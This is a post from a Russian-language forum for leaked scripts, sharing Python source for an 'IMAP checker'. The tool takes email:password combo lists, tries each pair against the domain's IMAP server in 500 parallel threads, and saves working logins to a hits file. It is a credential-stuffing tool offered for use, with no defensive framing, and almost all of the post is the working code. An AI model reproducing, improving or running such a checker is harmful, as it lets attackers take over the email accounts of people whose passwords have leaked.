Софт - Checker IMAP | End Way - форум программирования и сливов различных скриптов
  • Присоединяйтесь к нам в телеграм канал! EndWay канал | EndSoft канал | EWStudio канал
  • Хочешь поставить скрипт, но не умеешь?
    А может ты хочешь свой скрипт на основе слитого?

    Тогда добро пожаловать в нашу студию разработки!

    Телеграм бот: EWStudioBot
    Телеграм канал: EWStudio

Софт Checker IMAP

Turan

Джун
Автор темы
7 Янв 2024
1
0
0
[/COLOR][/B][/I] [COLOR=rgb(209, 72, 65)][I][B]try: import imaplib import threading import tkinter as tk from tkinter import filedialog from console import utils import time total_accounts = 0 checked_accounts = 0 good = 0 bad = 0 start_time = None def write_file(f_path, text): with open(f_path, "at", encoding='utf-8') as f: f.write(text + "\n") def check_imap_login(login, password): global checked_accounts, bad, good mail, imap = login.split("@") imap_server = f'imap.{imap}' try: checked_accounts += 1 mail = imaplib.IMAP4_SSL(imap_server) mail.login(login, password) print(f"Successfully logged in: {login}") write_file('HIT.txt', f'{login}:{password}') mail.logout() good += 1 utils.set_title( f"Checked {checked_accounts}/{total_accounts} | Hit: {good} | Bad: {bad} | CPS: {calculate_cps()}") except imaplib.IMAP4.error: checked_accounts += 1 bad += 1 print(f"Failed to login: {login}") utils.set_title( f"Checked {checked_accounts}/{total_accounts} | Hit: {good} | Bad: {bad} | CPS: {calculate_cps()}") def calculate_cps(): global start_time, checked_accounts if start_time is None: start_time = time.time() elapsed_time = time.time() - start_time cps = checked_accounts / elapsed_time if elapsed_time > 0 else 0 return int(cps) def check_accounts(lines): for line in lines: login, password = line.split(':') check_imap_login(login, password) def main(): global total_accounts root = tk.Tk() root.withdraw() path = filedialog.askopenfilename() print("Выбранный файл:", path) with open(path, 'r') as file: text = file.read() lines = text.strip().split('\n') total_accounts = len(lines) threads = [] num_threads = 500 split_lines = [lines[i:i + len(lines) // num_threads] for i in range(0, len(lines), len(lines) // num_threads)] for chunk in split_lines: thread = threading.Thread(target=check_accounts, args=(chunk,)) threads.append(thread) thread.start() for thread in threads: thread.join() if __name__ == "__main__": main() except: pass[/B][/I][/COLOR] [B][I][COLOR=rgb(209, 72, 65)]
 
Активность:
Пока что здесь никого нет